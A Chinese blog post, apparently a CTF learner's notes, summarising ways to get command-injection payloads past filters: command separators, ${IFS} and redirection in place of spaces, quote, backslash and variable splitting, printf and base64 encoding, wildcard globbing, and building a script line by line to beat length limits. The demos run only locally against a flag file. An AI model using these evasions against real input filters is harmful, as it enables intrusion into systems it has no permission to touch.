前言

刚做了一道题,是有关命令执行漏洞的,里面过滤的内容比较多,一时间找不到头绪,所以学习一下关于命令执行漏洞的绕过方式,以便以后遇到不会像现在这样一点思路都没有。
总结完再去做就很轻松了。

命令执行漏洞绕过方式

管道符

windows中常见管道符

|		直接执行后面的语句
||		如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&		前面和后面命令都要执行,无论前面真假
&&		如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

m0re

linux中常见管道符

以上四种管道符在linux系统中同样适用,增加一种

;		前面和后面命令都要执行,无论前面真假
zxcv0221@kali:~/桌面$ ping -c 1 m0re;cat flag
ping: m0re: 没有与主机名关联的地址
you are good!

空格过滤

这个比较多了

1.${IFS}

zxcv0221@kali:~/桌面$ cat${IFS}flag
you are good!
  1. $IFS$9 $9指传过来的第9个参数

    zxcv0221@kali:~/桌面$ cat$IFS$9flag
    you are good!
    zxcv0221@kali:~/桌面$ cat$IFS$1flag
    you are good!
  2. %09(需要PHP环境,不演示)

  3. <或者<>重定向

    zxcv0221@kali:~/桌面$ cat<flag
    you are good!
    zxcv0221@kali:~/桌面$ cat<>flag
    you are good!

    黑名单绕过

    比如:过滤了cat或者flag

  4. 变量拼接

    zxcv0221@kali:~/桌面$ a=c;b=at;c=fl;d=ag;$a$b $c$d
    you are good!
  5. 单引号,双引号绕过

    zxcv0221@kali:~/桌面$ ca''t flag
    you are good!
    zxcv0221@kali:~/桌面$ cat"" flag
    you are good!
  6. 编码绕过

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

栗子:

zxcv0221@kali:~/桌面$ $(printf "\154\163")
firefox-esr.desktop  flag
  1. 读文件绕过(当cat被过滤)
    (1)more:一页一页的显示档案内容
    (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
    (3)head:查看头几行
    (4)tac:从最后一行开始显示,可以看出 taccat 的反向显示
    (5)tail:查看尾几行
    (6)nl:显示的时候,顺便输出行号
    (7)od:以二进制的方式读取档案内容
    (8)vi:一种编辑器,这个也可以查看
    (9)vim:一种编辑器,这个也可以查看
    (10)sort:可以查看
    (11)uniq:可以查看
    (12)file -f:报错出具体内容
    栗子:
    zxcv0221@kali:~/桌面$ more flag
    you are good!
  2. 反斜线
zxcv0221@kali:~/桌面$ c\at fl\ag
you are good!
  1. $1、$2等和$@
    zxcv0221@kali:~/桌面$ c$1at fl$@ag
    you are good!

    通配符绕过

    ?代表一个字符*代表一串字符
    zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?''
    you are good!
    zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?''
    you are good!
    zxcv0221@kali:~/桌面$ /???/?at flag
    you are good!
    zxcv0221@kali:~/桌面$ /???/?at ????
    you are good!
    zxcv0221@kali:~/桌面$ /???/?[a]''[t] ?''?''?''?''
    you are good!
    我服了,这都可以?长见识666🍭
    *下众生平等🥙

内敛执行绕过

`命令`和$(命令)都是执行命令的方式

栗子:

zxcv0221@kali:~/桌面$ echo "m0re`cat flag`"
m0reyou are good!
zxcv0221@kali:~/桌面$ echo "m0re $(cat flag)"
m0re you are good!
zxcv0221@kali:~/桌面$ echo "m0re $(pwd)"
m0re /home/zxcv0221/桌面

编码绕过

使用base64编码进行绕过

zxcv0221@kali:~/桌面$ `echo "Y2F0IGZsYWc="|base64 -d`
you are good!

绕过长度限制

>>>两个符号的使用

使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入
m0re
>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
m0re

命令换行

换行执行命令

zxcv0221@kali:~/桌面$ ca\
> t\
>  fl\
> ag
you are good!

m0re
可以尝试写一个文件来执行命令

zxcv0221@kali:~/桌面$ echo "ca\\">shell
zxcv0221@kali:~/桌面$ echo "t\\">>shell
zxcv0221@kali:~/桌面$ echo " fl\\">>shell
zxcv0221@kali:~/桌面$ echo "ag">>shell
zxcv0221@kali:~/桌面$ cat shell
ca\
t\
 fl\
ag
zxcv0221@kali:~/桌面$ sh shell
you are good!

m0re

最后

还有一种是使用kali中的一个工具,名字叫metasploit
学会使用,需要实践利用,这里就不演示了,就像我之前写的提权的那篇文章就用到了metasploit,这个确实是一个非常强大的工具。我已经爱上这个工具了。
目前这些应该就够我现阶段用的了。

参考文章

命令执行漏洞利用及绕过方式总结
命令执行漏洞,绕过过滤姿势